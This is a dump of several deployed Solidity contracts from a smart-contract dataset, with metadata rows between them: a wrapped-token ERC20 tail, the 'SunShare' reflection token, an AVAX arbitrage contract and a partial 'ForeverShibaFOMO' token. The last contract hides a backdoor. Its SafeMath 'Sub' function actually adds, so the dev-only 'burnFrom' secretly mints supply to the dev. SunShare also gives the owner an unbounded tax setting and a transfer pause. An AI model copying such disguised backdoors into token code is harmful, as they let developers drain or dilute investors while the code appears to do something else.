_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) external virtual hasAccess {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) external virtual hasAccess {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract wXEQ is ERC20 {
constructor(address _accessContract) {
_name = "AVAX Wrapped Equilibria";
_symbol = "aXEQ";
_decimals = 18;
accessContract = _accessContract;
}
}
| 82,918 | 734 |
2038d046a23d8e33d0d19283d4aea077d69370c6a8d97b514a4914946addfd3f
| 20,775 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/93/930fd2b418094872ae16cc698e8105d8e1968413_SunShare.sol
| 5,181 | 18,693 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SunShare is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Sun Share';
string private constant _symbol = 'SSHARE';
uint256 private _taxFee = 700;
uint256 private _burnFee = 0;
uint public max_tx_size = 100000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xA695c72CCa30EA7fe8bdC956B67382f90Ed03503, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 327,569 | 735 |
b0c60b56f1ffc573337cbdb4edfb028805735d808c72fa3891746565767ab84c
| 10,870 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a9/a936a03d06aa04578af523d28d472fe21681feb9_arb.sol
| 2,471 | 9,979 |
pragma solidity 0.6.0;
interface IRouter {
function factory() external pure returns (address);
function WTRX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityTRX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountTRX, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityTRX(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external returns (uint amountToken, uint amountTRX);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityTRXWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountTRX);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactTRXForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactTRX(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForTRX(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapTRXForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IAVAX20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IWAVAX {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract arb {
using SafeMath for uint;
address payable private owner ;
address private WAVAX = address(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
fallback() external payable{
}
constructor() public {
owner = msg.sender;
}
function trade(address pairs , uint256 amount, uint256 amount_out) public {
//require(getAmountOut(path,pairs,amount) >= amount_out);
// (address token0,) = sortTokens(path[0], path[1]);
// (uint reserveIn, uint reserveOut) = getReserves(pairs , path[0] , path[1]);
// amount = calculate(amount, reserveIn, reserveOut);
// (uint amount0Out, uint amount1Out) = path[0] == token0 ? (uint(0), amount) : (amount, uint(0));
//address to = pairs;
//IUniswapV2Pair(pairs).swap(amount0Out , amount1Out, to, new bytes(0));
assert(IWAVAX(WAVAX).transfer(pairs, amount));
IUniswapV2Pair(pairs).swap(amount, amount_out, address(this), new bytes(0));
require(msg.sender == owner);
}
function withdraw(uint256 amount) public{
require(msg.sender == owner);
owner.transfer(amount);
}
function withdrawToken(uint256 amount , address token) public{
require(msg.sender == owner);
IAVAX20(token).transfer(owner ,amount);
}
function calculate(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// fetches and sorts the reserves for a pair
function getReserves(address pair, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountOut(address[] memory path , address pairs , uint256 amount) internal view returns (uint amountOut) {
amountOut = amount;
(uint reserveIn, uint reserveOut) = getReserves(pairs , path[0] , path[1]);
amountOut = calculate(amountOut, reserveIn, reserveOut);
}
}
| 80,321 | 736 |
9f90c25104ffa9652011e90da22d392596f3e9e4f30816420b9c10e247b233b9
| 22,898 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1d3c3f16689Af1E2059eaef336d7A6d93F8d1fB6/contract.sol
| 3,388 | 13,080 |
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ForeverShibaFOMO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**13 * 10**9;
bool public a = true;
string private _name;
string private _symbol;
uint8 private _decimals = 9;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**13 * 10**9;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
